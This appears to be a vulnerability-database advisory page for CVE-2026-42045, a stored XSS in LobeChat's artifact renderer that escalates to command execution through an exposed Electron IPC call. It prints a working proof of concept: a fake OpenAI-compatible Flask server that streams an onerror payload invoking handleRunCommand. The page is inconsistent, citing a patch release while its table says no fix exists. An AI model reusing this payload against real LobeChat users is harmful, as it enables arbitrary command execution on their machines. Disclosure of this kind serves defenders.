CVE-2026-42045 — @lobehub/lobehub
MEDIUMCVE-2026-42045 is a medium-severity (CVSS 6.2) Cross-site Scripting (XSS) vulnerability in @lobehub/lobehub. No vendor fix is recorded yet; mitigation options are listed below.
LobeHub: Cross-Site Scripting(XSS) escalate to Remote Code Execution(RCE)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42045.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-42045 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@lobehub/lobehubnpmDescription
Summary
The vulnerability was automatically discovered by an ai agent and then manually verified.
LobeChat's message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process's exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE).
The LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version.
Details
When LobeChat processes custom tags in the Render process of src/features/Portal/Artifacts/Body/Renderer/index.tsx, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering.
const Renderer = memo<{ content: string; type?: string }>(({ content, type }) => {
switch (type) {
case 'application/lobe.artifacts.react': {
return <ReactRenderer code={content} />;
}
case 'image/svg+xml': {
return <SVGRender content={content} />;
}
case 'application/lobe.artifacts.mermaid': {
return <Mermaid variant={'borderless'}>{content}</Mermaid>;
}
case 'text/markdown': {
return <Markdown style={{ overflow: 'auto' }}>{content}</Markdown>;
}
default: {
return <HTMLRenderer htmlContent={content} />;
}
}
});
export default Renderer;
If an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side.
Additionally, Lobechat's Electron main process exposes an IPC interface called runCommand, used to invoke system commands. This interface allows arbitrary command execution and does not filter the command parameter. Therefore, if an attacker can obtain a handle to window.parent.electronAPI via XSS and call the runCommand method of the IPC, the ipcMain process can execute arbitrary system commands with the current user's privileges.
@IpcMethod()
async handleRunCommand({
command,
description,
run_in_background,
timeout = 120_000,
}: RunCommandParams): Promise<RunCommandResult> {
...
const childProcess = spawn(shellConfig.cmd, shellConfig.args, {
env: process.env,
shell: false,
});
...
}
PoC
The attacker launched a malicious OpenAI gateway on port 5001
from flask import Flask, Response, request, jsonify
import time
import json
app = Flask(__name__)
fake_api_key = "sk-test"
@app.route('/v1/chat/completions', methods=['POST', 'OPTIONS'])
def chat_completions():
if request.method == 'OPTIONS':
return Response(status=200, headers={
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*'
})
# Check for API Key
auth_header = request.headers.get('Authorization')
print(auth_header)
if not auth_header or auth_header != f'Bearer {fake_api_key}':
return jsonify({"error": {"message": "Invalid API Key", "type": "invalid_request_error", "code": "invalid_api_key"}}), 401
def generate():
payload = """
<lobeArtifact type="nebula">
<img src=x onerror='window.parent.electronAPI.invoke("shellCommand.handleRunCommand", {command:"open -a Calculator"})'>
</lobeArtifact>
"""
# Split payload into chunks to simulate streaming
chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]
for chunk in chunks:
data = {
"id": "chatcmpl-hpdoger-123",
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "gpt-3.5-turbo",
"choices": [{
"index": 0,
"delta": {"content": chunk},
"finish_reason": None
}]
}
yield f"data: {json.dumps(data)}\n\n"
time.sleep(0.1)
# End of stream
final_data = {
"id": "chatcmpl-hpdoger-123",
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "gpt-3.5-turbo",
"choices": [{
"index": 0,
"delta": {},
"finish_reason": "stop"
}]
}
yield f"data: {json.dumps(final_data)}\n\n"
yield "data: [DONE]\n\n"
return Response(generate(), mimetype='text/event-stream', headers={
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*'
})
@app.route('/v1/models', methods=['GET'])
def models():
return jsonify({
"object": "list",
"data": [{
"id": "gpt-3.5-turbo",
"object": "model",
"created": 1677610602,
"owned_by": "openai"
}]
})
if __name__ == '__main__':
print("Evil OpenAI-compatible server running on http://127.0.0.1:5001")
app.run(port=5001, debug=True)
The victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker.
<img width="2048" height="772" alt="image" src="https://github.com/user-attachments/assets/86fe8f76-d75f-4e23-a2c5-fe29b124c7a7" />The victim was exposed to an arbitrary command execution vulnerability while chatting
<img width="2048" height="1036" alt="image" src="https://github.com/user-attachments/assets/0a84171f-ec78-4166-b7ab-298ece6b06b9" />reproduction
For attack reproduction, refer to this video. Once the victim configures the attacker's LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration opens a calculator in the victim's environment.
https://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d
Impact
Affected LobeChat clients can connect to the attacker's LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages.
Patch
A patch is available at https://github.com/lobehub/lobehub/releases/tag/v2.1.48.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @lobehub/lobehub | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @lobehub/lobehub, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of @lobehub/lobehub has shipped for CVE-2026-42045 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42045 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42045. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-42045 in your dependencies?
O3 Security finds CVE-2026-42045 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.